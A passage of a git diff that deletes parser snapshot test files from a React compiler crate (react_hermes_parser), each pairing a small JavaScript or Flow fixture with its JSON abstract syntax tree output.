-              "loc": null,
-              "range": [
-                82,
-                89
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              82,
-              90
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "p",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    93,
-                    94
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    95,
-                    96
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  93,
-                  96
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    99,
-                    100
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    101,
-                    102
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  99,
-                  102
-                ]
-              },
-              "loc": null,
-              "range": [
-                93,
-                102
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              93,
-              103
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "q",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    106,
-                    107
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    108,
-                    109
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  106,
-                  109
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "p",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    112,
-                    113
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    114,
-                    115
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  112,
-                  115
-                ]
-              },
-              "loc": null,
-              "range": [
-                106,
-                115
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              106,
-              116
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  120,
-                  126
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "q",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    127,
-                    128
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                120,
-                129
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              120,
-              130
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          132
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        132
-      ],
-      "loc": null,
-      "range": [
-        0,
-        132
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    132
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@trivial.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@trivial.js.snap
deleted file mode 100644
index 1637b78cfb49..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@trivial.js.snap
+++ /dev/null
@@ -1,88 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/trivial.js
----
-Input:
-function foo(x) {
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "x",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                27,
-                28
-              ]
-            },
-            "loc": null,
-            "range": [
-              20,
-              29
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          16,
-          31
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        31
-      ],
-      "loc": null,
-      "range": [
-        0,
-        31
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    31
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-args-test-binary-operator.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-args-test-binary-operator.js.snap
deleted file mode 100644
index b9f9273a406f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-args-test-binary-operator.js.snap
+++ /dev/null
@@ -1,168 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/type-args-test-binary-operator.js
----
-Input:
-function component(a, b) {
-  if (a > b) {
-    let m = {};
-  }
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  33,
-                  34
-                ]
-              },
-              "operator": ">",
-              "right": {
-                "type": "Identifier",
-                "name": "b",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  37,
-                  38
-                ]
-              },
-              "loc": null,
-              "range": [
-                33,
-                38
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "m",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          50,
-                          51
-                        ]
-                      },
-                      "init": {
-                        "type": "ObjectExpression",
-                        "properties": [],
-                        "loc": null,
-                        "range": [
-                          54,
-                          56
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        50,
-                        56
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    46,
-                    57
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                40,
-                61
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              29,
-              61
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          63
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        63
-      ],
-      "loc": null,
-      "range": [
-        0,
-        63
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    63
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-binary-operator.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-binary-operator.js.snap
deleted file mode 100644
index 4dad92a76c1f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-binary-operator.js.snap
+++ /dev/null
@@ -1,245 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/type-binary-operator.js
----
-Input:
-function component() {
-  let a = some();
-  let b = someOther();
-  if (a > b) {
-    let m = {};
-  }
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "some",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      33,
-                      37
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    33,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "someOther",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      51,
-                      60
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    51,
-                    62
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  47,
-                  62
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              63
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  70,
-                  71
-                ]
-              },
-              "operator": ">",
-              "right": {
-                "type": "Identifier",
-                "name": "b",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  74,
-                  75
-                ]
-              },
-              "loc": null,
-              "range": [
-                70,
-                75
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "m",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          87,
-                          88
-                        ]
-                      },
-                      "init": {
-                        "type": "ObjectExpression",
-                        "properties": [],
-                        "loc": null,
-                        "range": [
-                          91,
-                          93
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        87,
-                        93
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    83,
-                    94
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                77,
-                98
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              66,
-              98
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          100
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        100
-      ],
-      "loc": null,
-      "range": [
-        0,
-        100
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    100
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-cast-expression.flow.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-cast-expression.flow.js.snap
deleted file mode 100644
index 93c16bb85558..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-cast-expression.flow.js.snap
+++ /dev/null
@@ -1,357 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/type-cast-expression.flow.js
----
-Input:
-// @flow
-type Foo = {bar: string};
-function Component(props) {
-    const x = {bar: props.bar};
-    const y = (x: Foo);
-    y.bar = 'hello';
-    const z = (y: Foo);
-    return z;
-}
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "TSTypeAliasDeclaration",
-      "loc": null,
-      "range": [
-        9,
-        34
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          44,
-          53
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            54,
-            59
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    73,
-                    74
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "bar",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          78,
-                          81
-                        ]
-                      },
-                      "value": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            83,
-                            88
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "bar",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            89,
-                            92
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          83,
-                          92
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        78,
-                        92
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    77,
-                    93
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  73,
-                  93
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              67,
-              94
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    105,
-                    106
-                  ]
-                },
-                "init": {
-                  "type": "CoverTypedIdentifier",
-                  "left": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      110,
-                      111
-                    ]
-                  },
-                  "right": {
-                    "type": "TSTypeAnnotation",
-                    "loc": null,
-                    "range": [
-                      111,
-                      116
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    110,
-                    116
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  105,
-                  117
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              99,
-              118
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    123,
-                    124
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "bar",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    125,
-                    128
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  123,
-                  128
-                ]
-              },
-              "right": {
-                "type": "StringLiteral",
-                "value": "hello",
-                "loc": null,
-                "range": [
-                  131,
-                  138
-                ]
-              },
-              "loc": null,
-              "range": [
-                123,
-                138
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              123,
-              139
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    150,
-                    151
-                  ]
-                },
-                "init": {
-                  "type": "CoverTypedIdentifier",
-                  "left": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      155,
-                      156
-                    ]
-                  },
-                  "right": {
-                    "type": "TSTypeAnnotation",
-                    "loc": null,
-                    "range": [
-                      156,
-                      161
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    155,
-                    161
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  150,
-                  162
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              144,
-              163
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "z",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                175,
-                176
-              ]
-            },
-            "loc": null,
-            "range": [
-              168,
-              177
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          61,
-          179
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        35,
-        179
-      ],
-      "loc": null,
-      "range": [
-        35,
-        179
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    9,
-    179
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-field-load.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-field-load.js.snap
deleted file mode 100644
index 9161b49872bb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-field-load.js.snap
+++ /dev/null
@@ -1,207 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/type-field-load.js
----
-Input:
-function component() {
-  let x = { t: 1 };
-  let p = x.t;
-  return p;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "t",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          35,
-                          36
-                        ]
-                      },
-                      "value": {
-                        "type": "NumericLiteral",
-                        "value": 1.0,
-                        "loc": null,
-                        "range": [
-                          38,
-                          39
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        35,
-                        39
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    33,
-                    41
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  41
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              42
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "p",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    49,
-                    50
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      53,
-                      54
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "t",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      55,
-                      56
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    53,
-                    56
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  49,
-                  56
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              45,
-              57
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "p",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                67,
-                68
-              ]
-            },
-            "loc": null,
-            "range": [
-              60,
-              69
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          71
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        71
-      ],
-      "loc": null,
-      "range": [
-        0,
-        71
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    71
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-test-field-load-binary-op.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-test-field-load-binary-op.js.snap
deleted file mode 100644
index ede6d4ccd497..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-test-field-load-binary-op.js.snap
+++ /dev/null
@@ -1,485 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/type-test-field-load-binary-op.js
----
-Input:
-function component() {
-  let x = { u: makeSomePrimitive(), v: makeSomePrimitive() };
-  let u = x.u;
-  let v = x.v;
-  if (u > v) {
-  }
-
-  let y = x.u;
-  let z = x.v;
-  return z;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "u",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          35,
-                          36
-                        ]
-                      },
-                      "value": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "Identifier",
-                          "name": "makeSomePrimitive",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            38,
-                            55
-                          ]
-                        },
-                        "arguments": [],
-                        "loc": null,
-                        "range": [
-                          38,
-                          57
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        35,
-                        57
-                      ]
-                    },
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "v",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          59,
-                          60
-                        ]
-                      },
-                      "value": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "Identifier",
-                          "name": "makeSomePrimitive",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            62,
-                            79
-                          ]
-                        },
-                        "arguments": [],
-                        "loc": null,
-                        "range": [
-                          62,
-                          81
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        59,
-                        81
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    33,
-                    83
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  83
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              84
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "u",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    91,
-                    92
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      95,
-                      96
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "u",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      97,
-                      98
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    95,
-                    98
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  91,
-                  98
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              87,
-              99
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "v",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    106,
-                    107
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      110,
-                      111
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "v",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      112,
-                      113
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    110,
-                    113
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  106,
-                  113
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              102,
-              114
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "u",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  121,
-                  122
-                ]
-              },
-              "operator": ">",
-              "right": {
-                "type": "Identifier",
-                "name": "v",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  125,
-                  126
-                ]
-              },
-              "loc": null,
-              "range": [
-                121,
-                126
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [],
-              "loc": null,
-              "range": [
-                128,
-                133
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              117,
-              133
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    141,
-                    142
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      145,
-                      146
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "u",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      147,
-                      148
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    145,
-                    148
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  141,
-                  148
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              137,
-              149
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    156,
-                    157
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      160,
-                      161
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "v",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      162,
-                      163
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    160,
-                    163
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  156,
-                  163
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              152,
-              164
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "z",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                174,
-                175
-              ]
-            },
-            "loc": null,
-            "range": [
-              167,
-              176
-            ]
-          }
-        ],
